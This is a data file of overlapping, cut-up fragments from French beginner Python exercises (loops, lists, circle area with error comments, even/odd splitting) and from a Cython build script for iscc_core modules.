"c = x Resultat = a + b * 10 + c *",
"elif b += 1 else: c += 1 print(a, b, c) ##3 Code",
"il manque les \"\" Aire = pi * Rayon ** 2 # l'",
"max(a, b) b = min(a, b) r = a i = 0 while",
"un entier a et ##retourne le nombre de multiples de a dans la",
"b = 226 a1 = max(a, b) b = min(a, b) r =",
"2 # l' exposant se note ** et pas ^ Perimetre = 2",
"for i in range(n)] a = 0 b = 0 c = 0",
"int(x / 100) x = x - 100 * a b = int(x",
"i in range(len(l)): if l[i] % a == 0: c += 1 return",
"# il manque les deux points Somme += i # indentation incorrecte print(Somme)",
"# f-strings! # Rayon [m] ? > 45 # >>> Aire: 6361.725123519331, Périmètre:",
"float(input(\"Rayon [m] ? > \")) # il manque les \"\" Aire = pi",
">>> [0, 1, 3, 6, 10, 15, 21, 28, 36, 45] Val, i",
"i in range(n)] a = 0 b = 0 c = 0 for",
"L[i] < 500: a += 1 elif L[i] > 500: # else if",
"= 25 b = 226 a = max(a, b) b = min(a, b)",
"range(len(L)): if L[i] < 500: a += 1 elif L[i] > 500: #",
"x = x - 10 * b c = x Resultat = a",
"if l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri #",
"\")) # il manque les \"\" Aire = pi * Rayon ** 2",
"min(a, b) r = a i = 0 while r >= b: i",
"les \"\" Aire = pi * Rayon ** 2 # l' exposant se",
"b = 0 c = 0 for i in range(len(L)): if L[i] <",
"print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ? > 45 #",
"ri.append(l[i]) return rp, ri # ##une fonction def present(l,a) qui prend en paramètres",
"## >>> [4, 52] Somme = 0 n = 10 for i in",
"f-strings! # Rayon [m] ? > 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814",
"a += 1 elif L[i] > 500: # else if ~> elif b",
"## >>>> 45 from math import pi Rayon = float(input(\"Rayon [m] ? >",
"1 Val = L[i] Resultat = [i, Val] print(Resultat) ## >>> [4, 52]",
"= 0, 0 L = [7, 14, 21, 45, 52, 67, 89, 99]",
"in range(len(L)): if L[i] < 500: a += 1 elif L[i] > 500:",
"b) r = a i = 0 while r >= b: i +=",
"for i in range(len(L)): if L[i] < 500: a += 1 elif L[i]",
"[7, 14, 21, 45, 52, 67, 89, 99] while Val <= 50: i",
"{Perimetre}\") # f-strings! # Rayon [m] ? > 45 # >>> Aire: 6361.725123519331,",
"print(Somme) # il manque la majuscule à Somme ## >>>> 45 from math",
"in range(10)] for i in range(len(L)): if i >= 1: L[i] = L[i]",
"Val] print(Resultat) ## >>> [4, 52] Somme = 0 n = 10 for",
"Rayon ** 2 # l' exposant se note ** et pas ^ Perimetre",
"+= 1 else: c += 1 print(a, b, c) ##3 Code non fonctionnel",
"in range(len(l)): if l[i] % a == 0: c += 1 return c",
"x = x - 100 * a b = int(x / 10) x",
"[m] ? > \")) # il manque les \"\" Aire = pi *",
"226 a1 = max(a, b) b = min(a, b) r = a1 i",
"pas ^ Perimetre = 2 * pi * Rayon # il manque la",
"## >>> [0, 1, 3, 6, 10, 15, 21, 28, 36, 45] Val,",
"import pi Rayon = float(input(\"Rayon [m] ? > \")) # il manque les",
"qui prend en paramètres une liste l d'entiers et retourne deux listes def",
"l et un entier a et ##retourne le nombre de multiples de a",
"52, 67, 89, 99] while Val <= 50: i += 1 Val =",
"= [12, 8, 19, 7, 3, 10] Resultat = [20 - L[i] for",
"L[i - 1] Resultat = L print(Resultat) ## >>> [0, 1, 3, 6,",
"= pi * Rayon ** 2 # l' exposant se note ** et",
"in range(n): # il manque les deux points Somme += i # indentation",
"int(x / 10) x = x - 10 * b c = x",
"6, 10, 15, 21, 28, 36, 45] Val, i = 0, 0 L",
"print(a1, \" = \", b, \" * \", i, \" + \", r)",
"# il manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings!",
"Rayon [m] ? > 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random",
"present(l, a): c = 0 for i in range(len(l)): if l[i] % a",
"= 226 a = max(a, b) b = min(a, b) r = a",
"de a dans la liste. def present(l, a): c = 0 for i",
"liste. def present(l, a): c = 0 for i in range(len(l)): if l[i]",
"+= i + 1 print(Resultat) ## >>> 15 L = [i for i",
"+ c * 100 print(Resultat) # >>> 732 L = [12, 8, 19,",
"10 + c * 100 print(Resultat) # >>> 732 L = [12, 8,",
"range(len(l)): if l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri",
">= 1: L[i] = L[i] + L[i - 1] Resultat = L print(Resultat)",
"else if ~> elif b += 1 else: c += 1 print(a, b,",
">= b: i += 1 r -= b print(a1, \" = \", b,",
"une liste d'entiers l et un entier a et ##retourne le nombre de",
"* Rayon # il manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\")",
"[random.randint(0, 1000) for i in range(n)] a = 0 b = 0 c",
"- L[i] for i in range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13,",
"a = 25 b = 226 a1 = max(a, b) b = min(a,",
"a dans la liste. def present(l, a): c = 0 for i in",
"math import pi Rayon = float(input(\"Rayon [m] ? > \")) # il manque",
"r -= b print(a, \" = \", b, \" * \", i, \"+\",",
"print(Resultat) ## >>> [4, 52] Somme = 0 n = 10 for i",
"entier a et ##retourne le nombre de multiples de a dans la liste.",
"10] Resultat = 0 for i in range(5): Resultat += i + 1",
"-= b print(a1, \" = \", b, \" * \", i, \" +",
"for i in range(len(l)): if l[i] % a == 0: c += 1",
"= 0 while r >= b: i += 1 r -= b print(a,",
"b += 1 else: c += 1 print(a, b, c) ##3 Code non",
"> 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000",
"deux points Somme += i # indentation incorrecte print(Somme) # il manque la",
"1 print(Resultat) ## >>> 15 L = [i for i in range(10)] for",
"L[i] = L[i] + L[i - 1] Resultat = L print(Resultat) ## >>>",
">>> [8, 12, 1, 13, 17, 10] Resultat = 0 for i in",
"il manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! #",
"* \", i, \" + \", r) # 4 Ecriture de code #",
"b, \" * \", i, \" + \", r) # 4 Ecriture de",
"et ##retourne le nombre de multiples de a dans la liste. def present(l,",
"# ##une fonction def present(l,a) qui prend en paramètres une liste d'entiers l",
"points Somme += i # indentation incorrecte print(Somme) # il manque la majuscule",
"Resultat = [20 - L[i] for i in range(len(L))] print(Resultat) ## >>> [8,",
"print(Resultat) ## >>> 15 L = [i for i in range(10)] for i",
"liste d'entiers l et un entier a et ##retourne le nombre de multiples",
"\" = \", b, \" * \", i, \" + \", r) #",
"45, 52, 67, 89, 99] while Val <= 50: i += 1 Val",
"Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ? > 45 # >>> Aire:",
"L = [12, 8, 19, 7, 3, 10] Resultat = [20 - L[i]",
"b) b = min(a, b) r = a i = 0 while r",
"print(Resultat) ## >>> [8, 12, 1, 13, 17, 10] Resultat = 0 for",
"non fonctionnel a = 25 b = 226 a = max(a, b) b",
"prend en paramètres une liste d'entiers l et un entier a et ##retourne",
">= b: i += 1 r -= b print(a, \" = \", b,",
"a = max(a, b) b = min(a, b) r = a i =",
"15, 21, 28, 36, 45] Val, i = 0, 0 L = [7,",
"= x - 10 * b c = x Resultat = a +",
"Resultat = 0 for i in range(5): Resultat += i + 1 print(Resultat)",
"l' exposant se note ** et pas ^ Perimetre = 2 * pi",
"# l' exposant se note ** et pas ^ Perimetre = 2 *",
"def decompose(l): rp, ri = [], [] for i in range(len(l)): if l[i]",
"Somme ## >>>> 45 from math import pi Rayon = float(input(\"Rayon [m] ?",
"def present(l, a): c = 0 for i in range(len(l)): if l[i] %",
"0 for i in range(5): Resultat += i + 1 print(Resultat) ## >>>",
"a i = 0 while r >= b: i += 1 r -=",
"elif L[i] > 500: # else if ~> elif b += 1 else:",
"b, c) ##3 Code non fonctionnel a = 25 b = 226 a",
"1 elif L[i] > 500: # else if ~> elif b += 1",
"0 while r >= b: i += 1 r -= b print(a1, \"",
"indentation incorrecte print(Somme) # il manque la majuscule à Somme ## >>>> 45",
"return rp, ri # ##une fonction def present(l,a) qui prend en paramètres une",
"Resultat = L print(Resultat) ## >>> [0, 1, 3, 6, 10, 15, 21,",
"c) ##3 Code non fonctionnel a = 25 b = 226 a =",
"i in range(10)] for i in range(len(L)): if i >= 1: L[i] =",
"10] Resultat = [20 - L[i] for i in range(len(L))] print(Resultat) ## >>>",
"0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une fonction def present(l,a) qui",
"min(a, b) r = a1 i = 0 while r >= b: i",
"100 * a b = int(x / 10) x = x - 10",
"0 L = [7, 14, 21, 45, 52, 67, 89, 99] while Val",
"d'entiers l et un entier a et ##retourne le nombre de multiples de",
"0 while r >= b: i += 1 r -= b print(a, \"",
"# >>> 732 L = [12, 8, 19, 7, 3, 10] Resultat =",
"10 for i in range(n): # il manque les deux points Somme +=",
"# indentation incorrecte print(Somme) # il manque la majuscule à Somme ## >>>>",
"= [7, 14, 21, 45, 52, 67, 89, 99] while Val <= 50:",
"# il manque les \"\" Aire = pi * Rayon ** 2 #",
"##une fonction def present(l,a) qui prend en paramètres une liste d'entiers l et",
"45 from math import pi Rayon = float(input(\"Rayon [m] ? > \")) #",
"while r >= b: i += 1 r -= b print(a, \" =",
"= a i = 0 while r >= b: i += 1 r",
"+= 1 r -= b print(a1, \" = \", b, \" * \",",
"a + b * 10 + c * 100 print(Resultat) # >>> 732",
"* \", i, \"+\", r) ##1 a = 25 b = 226 a1",
"while r >= b: i += 1 r -= b print(a1, \" =",
"Resultat = [i, Val] print(Resultat) ## >>> [4, 52] Somme = 0 n",
"# 4 Ecriture de code # la fonction def decompose(l) qui prend en",
"10 * b c = x Resultat = a + b * 10",
"3, 6, 10, 15, 21, 28, 36, 45] Val, i = 0, 0",
"0 n = 10 for i in range(n): # il manque les deux",
"b = 226 a = max(a, b) b = min(a, b) r =",
"paramètres une liste l d'entiers et retourne deux listes def decompose(l): rp, ri",
"b: i += 1 r -= b print(a, \" = \", b, \"",
"= 25 b = 226 a1 = max(a, b) b = min(a, b)",
"2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une fonction def",
"45] Val, i = 0, 0 L = [7, 14, 21, 45, 52,",
"n = 10 for i in range(n): # il manque les deux points",
"= 0 b = 0 c = 0 for i in range(len(L)): if",
"a et ##retourne le nombre de multiples de a dans la liste. def",
"= min(a, b) r = a1 i = 0 while r >= b:",
"\", r) # 4 Ecriture de code # la fonction def decompose(l) qui",
"99] while Val <= 50: i += 1 Val = L[i] Resultat =",
"[m] ? > 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n",
"##1 a = 25 b = 226 a1 = max(a, b) b =",
"b print(a, \" = \", b, \" * \", i, \"+\", r) ##1",
"i + 1 print(Resultat) ## >>> 15 L = [i for i in",
"+ L[i - 1] Resultat = L print(Resultat) ## >>> [0, 1, 3,",
"= L[i] Resultat = [i, Val] print(Resultat) ## >>> [4, 52] Somme =",
"rp, ri # ##une fonction def present(l,a) qui prend en paramètres une liste",
"range(len(L)): if i >= 1: L[i] = L[i] + L[i - 1] Resultat",
"25 b = 226 a1 = max(a, b) b = min(a, b) r",
"= 0 for i in range(5): Resultat += i + 1 print(Resultat) ##",
"se note ** et pas ^ Perimetre = 2 * pi * Rayon",
"Rayon = float(input(\"Rayon [m] ? > \")) # il manque les \"\" Aire",
"i += 1 r -= b print(a, \" = \", b, \" *",
"une liste l d'entiers et retourne deux listes def decompose(l): rp, ri =",
"à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ? >",
"manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon",
"3, 10] Resultat = [20 - L[i] for i in range(len(L))] print(Resultat) ##",
"la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m]",
"\" * \", i, \"+\", r) ##1 a = 25 b = 226",
"r) ##1 a = 25 b = 226 a1 = max(a, b) b",
"1 r -= b print(a1, \" = \", b, \" * \", i,",
"L[i] for i in range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13, 17,",
"L = [7, 14, 21, 45, 52, 67, 89, 99] while Val <=",
"237 a = int(x / 100) x = x - 100 * a",
"Val = L[i] Resultat = [i, Val] print(Resultat) ## >>> [4, 52] Somme",
"x - 100 * a b = int(x / 10) x = x",
"rp, ri = [], [] for i in range(len(l)): if l[i] % 2",
"* pi * Rayon # il manque la majuscule à Rayon print(f\"Aire: {Aire},",
"- 100 * a b = int(x / 10) x = x -",
"* Rayon ** 2 # l' exposant se note ** et pas ^",
"0, 0 L = [7, 14, 21, 45, 52, 67, 89, 99] while",
"a = 0 b = 0 c = 0 for i in range(len(L)):",
"= 226 a1 = max(a, b) b = min(a, b) r = a1",
"a): c = 0 for i in range(len(l)): if l[i] % a ==",
"et pas ^ Perimetre = 2 * pi * Rayon # il manque",
"x - 10 * b c = x Resultat = a + b",
"n = 10000 L = [random.randint(0, 1000) for i in range(n)] a =",
"fonction def decompose(l) qui prend en paramètres une liste l d'entiers et retourne",
"# la fonction def decompose(l) qui prend en paramètres une liste l d'entiers",
"= max(a, b) b = min(a, b) r = a1 i = 0",
"L = [i for i in range(10)] for i in range(len(L)): if i",
"for i in range(len(l)): if l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i])",
"for i in range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13, 17, 10]",
"nombre de multiples de a dans la liste. def present(l, a): c =",
"** et pas ^ Perimetre = 2 * pi * Rayon # il",
"10) x = x - 10 * b c = x Resultat =",
"+= 1 Val = L[i] Resultat = [i, Val] print(Resultat) ## >>> [4,",
"liste l d'entiers et retourne deux listes def decompose(l): rp, ri = [],",
"range(5): Resultat += i + 1 print(Resultat) ## >>> 15 L = [i",
"** 2 # l' exposant se note ** et pas ^ Perimetre =",
"8, 19, 7, 3, 10] Resultat = [20 - L[i] for i in",
"b c = x Resultat = a + b * 10 + c",
"c * 100 print(Resultat) # >>> 732 L = [12, 8, 19, 7,",
"[i, Val] print(Resultat) ## >>> [4, 52] Somme = 0 n = 10",
"i += 1 r -= b print(a1, \" = \", b, \" *",
"= a1 i = 0 while r >= b: i += 1 r",
"> 500: # else if ~> elif b += 1 else: c +=",
"la majuscule à Somme ## >>>> 45 from math import pi Rayon =",
"i in range(len(L)): if i >= 1: L[i] = L[i] + L[i -",
"majuscule à Somme ## >>>> 45 from math import pi Rayon = float(input(\"Rayon",
"1, 13, 17, 10] Resultat = 0 for i in range(5): Resultat +=",
"a = int(x / 100) x = x - 100 * a b",
"Val, i = 0, 0 L = [7, 14, 21, 45, 52, 67,",
">>> 732 L = [12, 8, 19, 7, 3, 10] Resultat = [20",
"en paramètres une liste d'entiers l et un entier a et ##retourne le",
"i = 0, 0 L = [7, 14, 21, 45, 52, 67, 89,",
"i >= 1: L[i] = L[i] + L[i - 1] Resultat = L",
"i in range(len(L)): if L[i] < 500: a += 1 elif L[i] >",
"\" * \", i, \" + \", r) # 4 Ecriture de code",
"== 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une fonction def present(l,a)",
"= 0 c = 0 for i in range(len(L)): if L[i] < 500:",
"<= 50: i += 1 Val = L[i] Resultat = [i, Val] print(Resultat)",
"0 b = 0 c = 0 for i in range(len(L)): if L[i]",
"majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ?",
"d'entiers et retourne deux listes def decompose(l): rp, ri = [], [] for",
"for i in range(10)] for i in range(len(L)): if i >= 1: L[i]",
"4 Ecriture de code # la fonction def decompose(l) qui prend en paramètres",
"note ** et pas ^ Perimetre = 2 * pi * Rayon #",
"= 10000 L = [random.randint(0, 1000) for i in range(n)] a = 0",
"multiples de a dans la liste. def present(l, a): c = 0 for",
"##retourne le nombre de multiples de a dans la liste. def present(l, a):",
"Code non fonctionnel a = 25 b = 226 a = max(a, b)",
"de multiples de a dans la liste. def present(l, a): c = 0",
"* 100 print(Resultat) # >>> 732 L = [12, 8, 19, 7, 3,",
"< 500: a += 1 elif L[i] > 500: # else if ~>",
"226 a = max(a, b) b = min(a, b) r = a i",
"17, 10] Resultat = 0 for i in range(5): Resultat += i +",
"= int(x / 10) x = x - 10 * b c =",
"282.7433388230814 import random n = 10000 L = [random.randint(0, 1000) for i in",
"1: L[i] = L[i] + L[i - 1] Resultat = L print(Resultat) ##",
"for i in range(n): # il manque les deux points Somme += i",
"b = min(a, b) r = a1 i = 0 while r >=",
"L print(Resultat) ## >>> [0, 1, 3, 6, 10, 15, 21, 28, 36,",
"21, 45, 52, 67, 89, 99] while Val <= 50: i += 1",
"incorrecte print(Somme) # il manque la majuscule à Somme ## >>>> 45 from",
"= [i for i in range(10)] for i in range(len(L)): if i >=",
"732 L = [12, 8, 19, 7, 3, 10] Resultat = [20 -",
"L[i] + L[i - 1] Resultat = L print(Resultat) ## >>> [0, 1,",
"= \", b, \" * \", i, \" + \", r) # 4",
"##3 Code non fonctionnel a = 25 b = 226 a = max(a,",
"fonction def present(l,a) qui prend en paramètres une liste d'entiers l et un",
"## >>> 15 L = [i for i in range(10)] for i in",
">>> [4, 52] Somme = 0 n = 10 for i in range(n):",
"x Resultat = a + b * 10 + c * 100 print(Resultat)",
"+= 1 r -= b print(a, \" = \", b, \" * \",",
"decompose(l) qui prend en paramètres une liste l d'entiers et retourne deux listes",
"in range(n)] a = 0 b = 0 c = 0 for i",
"-= b print(a, \" = \", b, \" * \", i, \"+\", r)",
"> \")) # il manque les \"\" Aire = pi * Rayon **",
"qui prend en paramètres une liste d'entiers l et un entier a et",
"b print(a1, \" = \", b, \" * \", i, \" + \",",
"i, \"+\", r) ##1 a = 25 b = 226 a1 = max(a,",
"r -= b print(a1, \" = \", b, \" * \", i, \"",
"l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une",
"* a b = int(x / 10) x = x - 10 *",
"c = 0 for i in range(len(l)): if l[i] % a == 0:",
"= [20 - L[i] for i in range(len(L))] print(Resultat) ## >>> [8, 12,",
"retourne deux listes def decompose(l): rp, ri = [], [] for i in",
"la liste. def present(l, a): c = 0 for i in range(len(l)): if",
"2 * pi * Rayon # il manque la majuscule à Rayon print(f\"Aire:",
"[], [] for i in range(len(l)): if l[i] % 2 == 0: rp.append(l[i])",
"print(Resultat) # >>> 732 L = [12, 8, 19, 7, 3, 10] Resultat",
"Rayon # il manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") #",
"\" + \", r) # 4 Ecriture de code # la fonction def",
"while Val <= 50: i += 1 Val = L[i] Resultat = [i,",
"i in range(n): # il manque les deux points Somme += i #",
"\"\" Aire = pi * Rayon ** 2 # l' exposant se note",
"b * 10 + c * 100 print(Resultat) # >>> 732 L =",
"1, 3, 6, 10, 15, 21, 28, 36, 45] Val, i = 0,",
"100) x = x - 100 * a b = int(x / 10)",
"0 for i in range(len(L)): if L[i] < 500: a += 1 elif",
"range(n)] a = 0 b = 0 c = 0 for i in",
"et un entier a et ##retourne le nombre de multiples de a dans",
"12, 1, 13, 17, 10] Resultat = 0 for i in range(5): Resultat",
"89, 99] while Val <= 50: i += 1 Val = L[i] Resultat",
"= a + b * 10 + c * 100 print(Resultat) # >>>",
"exposant se note ** et pas ^ Perimetre = 2 * pi *",
"Somme = 0 n = 10 for i in range(n): # il manque",
"r >= b: i += 1 r -= b print(a, \" = \",",
"Val <= 50: i += 1 Val = L[i] Resultat = [i, Val]",
"# il manque la majuscule à Somme ## >>>> 45 from math import",
"i, \" + \", r) # 4 Ecriture de code # la fonction",
"= 0 for i in range(len(l)): if l[i] % a == 0: c",
"= max(a, b) b = min(a, b) r = a i = 0",
"# >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000 L =",
"def present(l,a) qui prend en paramètres une liste d'entiers l et un entier",
"manque la majuscule à Somme ## >>>> 45 from math import pi Rayon",
"i in range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13, 17, 10] Resultat",
"+= i # indentation incorrecte print(Somme) # il manque la majuscule à Somme",
"c += 1 print(a, b, c) ##3 Code non fonctionnel a = 25",
"0 c = 0 for i in range(len(L)): if L[i] < 500: a",
"les deux points Somme += i # indentation incorrecte print(Somme) # il manque",
"100 print(Resultat) # >>> 732 L = [12, 8, 19, 7, 3, 10]",
"range(n): # il manque les deux points Somme += i # indentation incorrecte",
"ri = [], [] for i in range(len(l)): if l[i] % 2 ==",
"= x Resultat = a + b * 10 + c * 100",
"14, 21, 45, 52, 67, 89, 99] while Val <= 50: i +=",
"pi * Rayon # il manque la majuscule à Rayon print(f\"Aire: {Aire}, Périmètre:",
"## >>> [8, 12, 1, 13, 17, 10] Resultat = 0 for i",
"paramètres une liste d'entiers l et un entier a et ##retourne le nombre",
"in range(5): Resultat += i + 1 print(Resultat) ## >>> 15 L =",
"= [], [] for i in range(len(l)): if l[i] % 2 == 0:",
"i = 0 while r >= b: i += 1 r -= b",
"7, 3, 10] Resultat = [20 - L[i] for i in range(len(L))] print(Resultat)",
"= int(x / 100) x = x - 100 * a b =",
"^ Perimetre = 2 * pi * Rayon # il manque la majuscule",
"c = 0 for i in range(len(L)): if L[i] < 500: a +=",
"decompose(l): rp, ri = [], [] for i in range(len(l)): if l[i] %",
"15 L = [i for i in range(10)] for i in range(len(L)): if",
"= 2 * pi * Rayon # il manque la majuscule à Rayon",
"i in range(len(l)): if l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return",
"45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000 L",
"? > \")) # il manque les \"\" Aire = pi * Rayon",
"for i in range(len(L)): if i >= 1: L[i] = L[i] + L[i",
"+ b * 10 + c * 100 print(Resultat) # >>> 732 L",
"? > 45 # >>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n =",
"r = a1 i = 0 while r >= b: i += 1",
"range(10)] for i in range(len(L)): if i >= 1: L[i] = L[i] +",
"/ 100) x = x - 100 * a b = int(x /",
"{Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ? > 45 # >>>",
"\"+\", r) ##1 a = 25 b = 226 a1 = max(a, b)",
"in range(len(l)): if l[i] % 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp,",
"\", b, \" * \", i, \" + \", r) # 4 Ecriture",
"if ~> elif b += 1 else: c += 1 print(a, b, c)",
"pi Rayon = float(input(\"Rayon [m] ? > \")) # il manque les \"\"",
"Resultat += i + 1 print(Resultat) ## >>> 15 L = [i for",
"1] Resultat = L print(Resultat) ## >>> [0, 1, 3, 6, 10, 15,",
"de code # la fonction def decompose(l) qui prend en paramètres une liste",
"Périmètre: 282.7433388230814 import random n = 10000 L = [random.randint(0, 1000) for i",
"r) # 4 Ecriture de code # la fonction def decompose(l) qui prend",
"= L[i] + L[i - 1] Resultat = L print(Resultat) ## >>> [0,",
"def decompose(l) qui prend en paramètres une liste l d'entiers et retourne deux",
"b) b = min(a, b) r = a1 i = 0 while r",
"L[i] Resultat = [i, Val] print(Resultat) ## >>> [4, 52] Somme = 0",
"il manque les deux points Somme += i # indentation incorrecte print(Somme) #",
"28, 36, 45] Val, i = 0, 0 L = [7, 14, 21,",
"% 2 == 0: rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une fonction",
"import random n = 10000 L = [random.randint(0, 1000) for i in range(n)]",
"b) r = a1 i = 0 while r >= b: i +=",
"la fonction def decompose(l) qui prend en paramètres une liste l d'entiers et",
"deux listes def decompose(l): rp, ri = [], [] for i in range(len(l)):",
"Resultat = a + b * 10 + c * 100 print(Resultat) #",
">>>> 45 from math import pi Rayon = float(input(\"Rayon [m] ? > \"))",
"rp.append(l[i]) else: ri.append(l[i]) return rp, ri # ##une fonction def present(l,a) qui prend",
"if L[i] < 500: a += 1 elif L[i] > 500: # else",
"* 10 + c * 100 print(Resultat) # >>> 732 L = [12,",
">>> Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000 L = [random.randint(0,",
"Aire: 6361.725123519331, Périmètre: 282.7433388230814 import random n = 10000 L = [random.randint(0, 1000)",
"- 1] Resultat = L print(Resultat) ## >>> [0, 1, 3, 6, 10,",
"25 b = 226 a = max(a, b) b = min(a, b) r",
"en paramètres une liste l d'entiers et retourne deux listes def decompose(l): rp,",
"from math import pi Rayon = float(input(\"Rayon [m] ? > \")) # il",
"le nombre de multiples de a dans la liste. def present(l, a): c",
"= L print(Resultat) ## >>> [0, 1, 3, 6, 10, 15, 21, 28,",
"x = 237 a = int(x / 100) x = x - 100",
"[20 - L[i] for i in range(len(L))] print(Resultat) ## >>> [8, 12, 1,",
"fonctionnel a = 25 b = 226 a = max(a, b) b =",
"67, 89, 99] while Val <= 50: i += 1 Val = L[i]",
"b = int(x / 10) x = x - 10 * b c",
"else: ri.append(l[i]) return rp, ri # ##une fonction def present(l,a) qui prend en",
"à Somme ## >>>> 45 from math import pi Rayon = float(input(\"Rayon [m]",
"= min(a, b) r = a i = 0 while r >= b:",
"i # indentation incorrecte print(Somme) # il manque la majuscule à Somme ##",
"* b c = x Resultat = a + b * 10 +",
"1 else: c += 1 print(a, b, c) ##3 Code non fonctionnel a",
"+ \", r) # 4 Ecriture de code # la fonction def decompose(l)",
"in range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13, 17, 10] Resultat =",
"500: # else if ~> elif b += 1 else: c += 1",
"a = 25 b = 226 a = max(a, b) b = min(a,",
"b: i += 1 r -= b print(a1, \" = \", b, \"",
"= 0 n = 10 for i in range(n): # il manque les",
"- 10 * b c = x Resultat = a + b *",
"manque les \"\" Aire = pi * Rayon ** 2 # l' exposant",
"1000) for i in range(n)] a = 0 b = 0 c =",
"50: i += 1 Val = L[i] Resultat = [i, Val] print(Resultat) ##",
"+ 1 print(Resultat) ## >>> 15 L = [i for i in range(10)]",
"for i in range(5): Resultat += i + 1 print(Resultat) ## >>> 15",
"Rayon print(f\"Aire: {Aire}, Périmètre: {Perimetre}\") # f-strings! # Rayon [m] ? > 45",
"listes def decompose(l): rp, ri = [], [] for i in range(len(l)): if",
"in range(len(L)): if i >= 1: L[i] = L[i] + L[i - 1]",
"il manque la majuscule à Somme ## >>>> 45 from math import pi",
"= x - 100 * a b = int(x / 10) x =",
"L = [random.randint(0, 1000) for i in range(n)] a = 0 b =",
"[8, 12, 1, 13, 17, 10] Resultat = 0 for i in range(5):",
"500: a += 1 elif L[i] > 500: # else if ~> elif",
"= [i, Val] print(Resultat) ## >>> [4, 52] Somme = 0 n =",
"0 for i in range(len(l)): if l[i] % a == 0: c +=",
"code # la fonction def decompose(l) qui prend en paramètres une liste l",
"range(len(L))] print(Resultat) ## >>> [8, 12, 1, 13, 17, 10] Resultat = 0"
] |
[
"<gh_stars>1-10 # -*- coding: utf-8 -*- \"\"\" Build cython extension modules. The shared",
"the command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3",
"-i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try:",
"library can also be built manually using the command: $ cythonize -X language_level=3",
"Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ),",
"cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py",
"\"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator",
"*\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use",
"build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\",",
"manually using the command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize",
"coding: utf-8 -*- \"\"\" Build cython extension modules. The shared library can also",
"to compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\")",
"cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py",
"built manually using the command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $",
") print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception",
"-a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update(",
"[ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile",
"), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :) *\")",
"also be built manually using the command: $ cythonize -X language_level=3 -a -i",
"compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot",
"-X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\"",
"can also be built manually using the command: $ cythonize -X language_level=3 -a",
"utf-8 -*- \"\"\" Build cython extension modules. The shared library can also be",
"be built manually using the command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py",
